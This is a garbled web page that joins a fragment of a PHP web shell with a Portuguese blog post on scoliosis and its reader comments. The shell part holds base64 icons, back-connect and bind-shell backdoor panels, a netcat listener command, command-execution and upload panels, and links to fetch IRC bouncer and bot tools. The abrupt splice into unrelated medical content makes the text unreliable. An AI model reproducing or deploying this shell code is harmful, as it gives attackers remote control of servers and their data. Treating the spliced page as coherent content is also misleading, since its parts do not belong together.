"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". "PYXCyg+V2i44XeRmSfYqsGhAAgA7", "ext_cgi"=> "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". "RYtMAgEAOw==", "ext_cmd"=> "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". "dmrYAMn1onq/YKpjvEgAADs=", "ext_cpp"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". "Eq7YrLDE7a4SADs=", "ext_ini"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". "SnEjgPVarHEHgrB43JvszsQEADs=", "ext_diz"=> "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". "Ow==", "ext_doc"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", "ext_exe"=> "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". "xhIAOw==", "ext_h"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". "Wq/NknbbSgAAOw==", "ext_hpp"=> "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". "UqUagnbLdZa+YFcCADs=", "ext_htaccess"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". "AAA7", "ext_html"=> "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". "ADs=", "ext_jpg"=> "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". "FxEAOw==", "ext_js"=> "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". "a00AjYYBbc/o9HjNniUAADs=", "ext_lnk"=> "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". "ADs=", "ext_log"=> "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", "ext_php"=> "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=", "ext_pl"=> "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", "ext_swf"=> "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", "ext_tar"=> "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". "u4tLAgEAOw==", "ext_txt"=> "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". "UpPWG3Ig6Hq/XmRjuZwkAAA7", "ext_wri"=> "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", "ext_xml"=> "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". "IQA7" ); //Untuk optimalisasi ukuran dan kecepatan. $imgequals = array( "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), "ext_html"=>array("ext_html","ext_htm"), "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), "ext_lnk"=>array("ext_lnk","ext_url"), "ext_ini"=>array("ext_ini","ext_css","ext_inf"), "ext_doc"=>array("ext_doc","ext_dot"), "ext_js"=>array("ext_js","ext_vbs"), "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), "ext_wri"=>array("ext_wri","ext_rtf"), "ext_swf"=>array("ext_swf","ext_fla"), "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") ); if (!$getall) { header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} if (empty($images[$img])) {$img = "small_unk";} if (in_array($img,$ext_tar)) {$img = "ext_tar";} echo base64_decode($images[$img]); } else { foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
    ");}}}} natsort($images); $k = array_keys($images); echo "
    "; foreach ($k as $u) {echo $u.":
    ";} echo "
    "; } exit; } if ($act == "about") { echo "
    Credits:
    Idea, leading and coding by tristram [CCTeaM]
    Beta-testing and some tips by NukLeoN [AnTiSh@Re tEaM]

    Thanks all who report bugs
    Please report bugs to Tristram
    "; } if ($act == "backc") { $ip = $_SERVER["REMOTE_ADDR"]; $msg = $_POST['backcconnmsg']; $emsg = $_POST['backcconnmsge']; echo("
    Back-Connection:

    Host: Port: Use:
    Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992'

    "); echo("$msg"); echo("$emsg"); } if ($act == "shbd"){ $msg = $_POST['backcconnmsg']; $emsg = $_POST['backcconnmsge']; echo("
    Bind Shell Backdoor:

    Bind Port:
    "); echo("$msg"); echo("$emsg"); echo("
    "); } echo "\n"; //COMMANDS PANEL ?>
    .: COMMANDS PANEL :.
    Command:
    -
    Quick Commands:
    -
    Kernel Info:
    -
    Upload:
    -
    PHP Filesystem:
    File/Dir/URL: To/Max:
    ','cyberz.php')">[Fx29Sh] ','fx.tar.gz')">[psyBNC] ','fxb.tar.gz')">[Eggdrop]
    Search:
      - regexp 
    Make File:
    -
    View File:
    -
    .:[Coded Elite Defacer . elitedefacer@hotmail.com | Generated: seconds ]:.

    Séculos atrás , Hipócrates (séc.V AC) fez a primeira descrição sobre o problema da escoliose. Ambrose Paré (1510-1590) associou a escoliose congênita a maus hábitos posturais. Em 1895, graças a evolução da medicina e o advento dos raios-x, múltiplos fatores passaram a ser melhor analisados sobre esta patologia. Em 1948, John Cobb empregou o método de mensuração da escoliose que é utilizado até hoje.
    A coluna vertebral vista de perfil apresenta suas regiões de curvatura chamadas de cifose e lordose. Quando olhada de frente, ou de costas, ela precisa estar reta. A escoliose é descrita simplesmente como o desvio lateral do eixo vertebral da coluna (figura abaixo) quando vista de costas.

    Há diversas propostas de classificação da escoliose:

    • Idiopática: Aproximadamente 80% dos casos, são as que não tem causa definida;
    • Pós traumáticas: desenvolvida graças a um trauma sofrido ( acidente, queda, fratura);
    • Neuro-Muscular: geralmente conseqüências de distúrbios neurológicos ( distrofias, miotonias, hipotonias);
    • Congênitas ou Infecciosas: Mal de Pott, tumoral, síndrome de Marfan e de Ehlers-Danlos;

    Diagnóstico

    O diagnóstico é bem simples. No exame físico é notável o desvio tanto da coluna, como em alguns casos das costelas e diferença de altura do ombro. Para fechar o diagnóstico usa-se o teste de ADAM e raios-x com a mensuração do ângulo de Cobb e sinal de Risser.

    Sintomas

    Os sintomas dolorosos geralmente não aparecem durante a adolescência, mas é comum na fase adulta. A queixa mais comum de pais e pacientes são devido à aparência com deformidades.

    Tratamento

    O tratamento é longo e difícil. Principalmente porque a maioria dos casos é de causa desconhecida. O paciente deve estar assessorado com uma equipe multidisciplinar com médicos, fisioterapeutas e psicólogos.

    Por se tratar de um problema da coluna, a osteopatia pode oferecer um alívio da dor e correção da estrutura através de técnicas de manipulação. Com ênfase especial à mecânica do corpo, a osteopatia tende a restabelecer a harmonia entre todas as estruturas que sustentam a coluna, e ao longo das sessões devolverem o equilíbrio da coluna ao seu eixo natural.

    Uma boa opção para o tratamento da escoliose são o RPG associado as palmilhas posturais, pois elas atuam no pé, ajudando o seu corpo a reprogramar sua postura com estímulos nas plantas dos pés.

    Está com dor e tem escoliose? Complete seu tratamento com seu  osteopata de confiança, ele saberá te ajudar !

    172 Comentários

    1. ROSANGELA

      EU SOU ROSANGELA TENHO 28 ANOS E EU JA NASCI COM UMA DEFORMAÇÃO UMA COSTELA MINHA Ñ FOI DESENVOLVIDA EU PROCURO TRATAMENTO E NAUM CONCIGO ME TRATAR DES DE NOVINHA QUE EU NAO ME CUIDO ME TRATAVA NO HOSPITAL MENINO JESUS O Q DEVO FAZER PRA MIM MELHORAR A MINHA DOR E COMO DEVO FAZER PRA CONCERTA MINHA POSTURA TENHO MUITA VERGONHA QUANDO PERCEBEM Q SOU TORTA UM ABRAÇO

    2. @ROSANGELA:
      olá rosangela obrigado por participar
      eu particularmente aconselho uma terapia combinada entre rpg e osteopatia para o seu caso , mas precisaria de uma avaliação mais profunda.
      caso more em santos e tenha interesse
      entre em contato nesse site
      http://www.ortoclinique.com.br/
      para agendar uma avaliação
      espero ter ajudado
      abraços

    3. ola

      sou iuri, tenho 15 anos, tenho uma escoliose de 30 graus e lombar 28, gosto de nadar e praticar outros esportes, devo parar de correr e nadar para ajudar no tratamento rpg?

      obs: cintura assimetrica, escapula direita mais pra fara q a esquerda.

    4. Rodrigo Zabini

      @iuri: olá Iuri, obrigado por participar ! sobre a sua dúvida devo pedir para perguntar para o profissional que está te atendendo pois não o avaliei e tambem não vi suas radiografia. Mas acredito que um trabalho conjunto entre osteopatia e o RPG seria uma boa alternativa de tratamento para o seu caso.
      Quanto a parar as suas atividades, no meu trabalho não costumo pedir para parar, ainda mais se a pessoa gosta e se sente bem
      Valeu ! abraços e quero saber se voce melhorou !

    5. Oii..
      Tenho 14 anos e tenho Escoliose desde pequena mais ela é bem no ombro e graças a Deus não afetou a minha coluna…
      Faço Academia Três vezes por semana para Aliviar a dor nos Ombros que sinto diariamente.Posso Aconselhar a fazer sempre exercicios que Ampliem a coluna e sempre ficar em uma boa posição,pois sei como é alimentar essa dor.Antes eu reclamava muito dessa dor mais agora que estou fazendo academia meu ombro doi Regularmente!
      Queria Agradecer pelo site que me ajudou muito a tirar duvidas,pois escoliose é uma coisa seria não importa o Grau,temos que cuidar muito bem !
      Obrigado
      Bjuuss !

    6. Rodrigo Zabini

      @Ana Karolina: Olá Ana , fico feliz em poder ajudar, tirar duvidass, sempre é importante estar ciente dos problemas e ter uma noção de como tratar.
      Agradeço pela visita e pelo comentário e surgindo qualquer dúvida pergunte
      abraços

    7. Olá, tenho 19 anos, e tenho escoliose e lordose de grau 17, fiz várias sessões de RPG e cadeias musculares, mais ainda não consegui melhorar totalmente…agora parei de fazer mas predendo continuar assim q achar um profissional mais em conta!Agora tenho sentido muita dormencia nos braços,e estou preocupada será q isso pode ser consequência da escoliose? ou devo procurar saber se é outro problema? tbm gostaria de saber se posso fazer alguns exercícios em casa enquanto não volto as sessões? se puder, quais os tipo de exercícios posso fazer pra colocar minha coluna no lugar? desde já agradeço!

    8. natalia

      oi eu nao sei se isso foi 1 ajuda mais agradoço de toda forma muito obrigado de coração mais da prxima ve se coloca essa perguntinha basica aqui:”QUAIS OS SINTOMAS DA PATOLOGIA ESCOLIOSE”ou de outras patologias pesquisadas ta “OK”

      bjus e obrigada
      ♥natalia♥

    9. Rodrigo Zabini

      @Luiza: oi luiza, obrigado pela participação. Sempre é bom saber qual o problema e se está relacionado a escoliose, procure um profissional da area da saúde que trabalhe bem com a coluna para te orientar. Nao procure o mais em conta , mas o que tem a melhor formação, afinal a sua saúde que está em jogo, quanto vale a sua saúde? é mais em conta que o resto? com relação aos exercícios em casa procure o iso-stretching
      que é facil e muito bom para quem tem escoliose ! abraços e até a próxima !!!

    10. Rodrigo Zabini

      @natalia: o natália. obrigado por escrever. espero estar sempre ajudando, e no futuro estarei colocando mais sobre esoliose e outras patologias. acompanhe e verá ! abraços e até a próxima!!!

    11. thamires

      eu sou thamires , tenho 19 anos e descobrir que tenho escoliose com 17.
      me acha estranha um lado mas alto que o outro , só depois de outras pessoas notaren e de sentir muitas dores foi ai que procurei um medico.
      mas fiquei triste em ele dizer que não tem cura.
      só agora que vim me conformar:
      hoje levo uma vida normal.
      muita alta estima para todos…

    12. Laile de Paula

      Eu tive escoliose severa quando tinha 23 anos acompanhada de cifose,fiz tratamento com ortopedista e usei por 1 ano um colete pra correção da coluna, até fiz regime e perdi na época 20 kg no que me ajudou a ficar boa, mas hoje aos 43 anos voltou de novo e tenho dores horriveis,eu trabalho pegando muito peso, gostaria de saber se continuar assim corro risco de ficar pior em ralação a escoliose, o que me sugere fazer, por favor preciso de sua ajuda, agradeço desde ja.

    13. Rodrigo Zabini

      @thamires: oi thamires, obrigado pelo seu depoimento e por partilhar seu conhecimento com os outros, só gostaria de salientar que escoliose pode ser tratada desde que o tratamento comece o mais cedo possível, e com relação as dores é possivel melhorar elas, ninguem precisa sofrer a vida toda por nascer com escoliose
      Abraços

    14. Rodrigo Zabini

      @Laile de Paula: oi Laile de Paula , obrigado por participar, espero poder te ajudar. Se voce trata uma vez e teve sucesso no tratamento
      procure quem te tratou na época para dar continuidade a ele. Ter escoliose nao significa uma vida de sofrimento, é possivel conviver com ela sem ter dor. Procure um médico para te fazer um diagnóstico das tuas dores, um osteopata para tratar delas, e pilates para dar sustentação e melhorar a postura. Certo :? depois me diga o resultado, abraços!

    15. Marçal

      Bom eu tenho um desvio na coluna desde os 5 anos de idade e acho que isso esta me afetando agora porque doi muito eu ja fiz nataçao por recomendaçao medica mas deu em nada :S
      quando entrei na nataçao eu melhorei um pouco mas agora com 15 anos essa dor voltou e isso me encomoda pois jogo volei :s

    16. nauria

      ola meu nome e nauria tenho 18 anos tenho bescoliose a minha coluna e meio curvada para direita bem no quadril.a fisioterapia pode corrigir isso? meu médico disse que vou ficar com essa dor pro resto da vida,e nao compensa operar.gostaria de saber mais sobre ela.

    17. Rodrigo Zabini

      @nauria: oi nauria, tudo bom? obrigado por participar. estou sempre a disposição
      com relação a sua dúvida, a escoliose é possivel de melhorar a´te a idade de fechamento das epífises, a fase de crescimento ósseo, normalmente até os 18 anos, tem que ver se voce vai crescer mais, e com relação a dor é melhor procurar um osteopata para ver o que está causando a dor, se é a escoliose ou outro problema. aconselho a procurar pilates tb
      abraços

    18. lazaro

      ola, eu tenho 27 anos, e tem uma semana que comecei a sentir essas dores, não tinha nenhuma diferença nos ombros, hoje to com dores e estou meio de lado e estou com os sintomas de escoliose.
      o que devo fazer pra isso acabar? e gostaria de saber mais sobre isso.
      grato..

    19. Rodrigo Zabini

      @lazaro: oi lazaro, obrigado por tirar suas dúvidas aqui, espero que já tenha melhorado, pois o que a principio voce está mencioando é uma postura antálgica que pode gerar uma escoliose passageira, uma reacao do seu corpo a algum estress que foi submetido. procure um osteopata na sua cidade para acabar de vez com esses teus sintomas. abraços e melhoras

    20. Rodrigo Zabini

      @lazaro: oi lazaro, obrigado por tirar suas dúvidas aqui, espero que já tenha melhorado, pois o que a principio voce está mencioando é uma postura antálgica que pode gerar uma escoliose passageira, uma reacao do seu corpo a algum estress que foi submetido. procure um osteopata na sua cidade para acabar de vez com esses teus sintomas. abraços e melhoras

    21. Olá tenho 28 anos e descobri há um mês que tenho escoliose juvenil. Sinto dores por todo o corpo e formigamento nos membros (braços e pernas), afetando até minha mobilidade. Ainda estou em tratamento,realizando outros exames para que meu médico me de um diagnóstico mais preciso. Gostaria de saber se há algo que posso fazer para ao menos aliviar as dores que são terríveis,comprometendo minhas atividades.
      Obrigada

    22. Rodrigo Zabini

      @Aline: oi aline obrigado por paricipar, espero poder ajudar, aguarde um diagnóstico mais preciso, e procure se informar se alguem na sua região trabalha com osteopatia. Com certeza ele irá ajudar
      abraços e melhoras!

    23. Ana Karoline

      oi. eu tenho 19 anos e tenho escoliose dextro de 45graus, ja fiz rpg e faço quiropraxia pra tentar que nao piore,mas os medicos dizem q pra melhorar só com cirurgia. sofro mt por isso, e nao sei se faço ou nao a cirurgia,morro de medo. sera que com exercicio ainda consigo amenizar ou melhorar ou nao? se possivel me ajudem! obrigada

    24. Rodrigo Zabini

      @Ana Karoline: oi ana , obrigado por escrever, espero poder ajudar. Realmente um grau tão elevado seria bom voce pensar em fazer a cirurgia, pois acima de 30 já é caso para isso, ainda mais c realizou tudo o que voce está falando e nao teve melhora do quadro. Procure algum lugar que tenha pilates e rpg associados para fazer um tratamento, e para as dores consulte um osteopata. Se mesmo assim não melhorar, converse sobre a cirurgia com seu médico! abraços e melhora!!

    25. maria luisa

      oi, eu tenho 12 anos e descobri, a 6 meses, q tenho uma escoliose de 43°, antes disso eu não tinha o menor sinal disso, eu estou com medo de ter q operar, pq o medico disse q se eu tivesse + de 14 anos teria q operar, exitem outras formas sem ser o colete e RPG q façam com q eu não tenha q operar no futuro? vc acha q o colete é o suficiente pra fazer com q eu não tenha q operar?

    26. Rodrigo Zabini

      @maria luisa: oi maria , obrigado por entrar no blog, espero que possa te ajudar. Com relação aos seus problemas, aconselho a procurar um trabalho multidisciplinar até que voce para de crescer, e realize um trabalho com rpg, pilates, use o colete e tambem palmilhas posturais. Com isso, os graus devem diminuir e talvez nao precise operar. Converse com o seu médico e fisioterapeuta de confiança para traçar um tratamento adequado para o seu caso
      abraços e capriche no tratamento!

    27. maria luisa

      mais uma duvida, eu ja menstruei (1ª vez 20/06/2010), o colete ainda funciona?

    28. Hévelin

      Olá Dr Rodrigo Zabini, tenho 25 anos e escoliose de 30 graus desde criança, gostaria de sabe se o tratamento com osteopatas podem me ajudar a voltar a ter a coluna reta, pois também me disseram que a osteopatia pode até aleijar se não for bem feita, isso é verdade ou é um mito? (E pq pode/não pode ter o risco de aleijar?) Muito obrigada!

    29. Rodrigo Zabini

      @maria luisa: não vejo por que nao usar, nunca li nada contra isso
      :D abraços

    30. Rodrigo Zabini

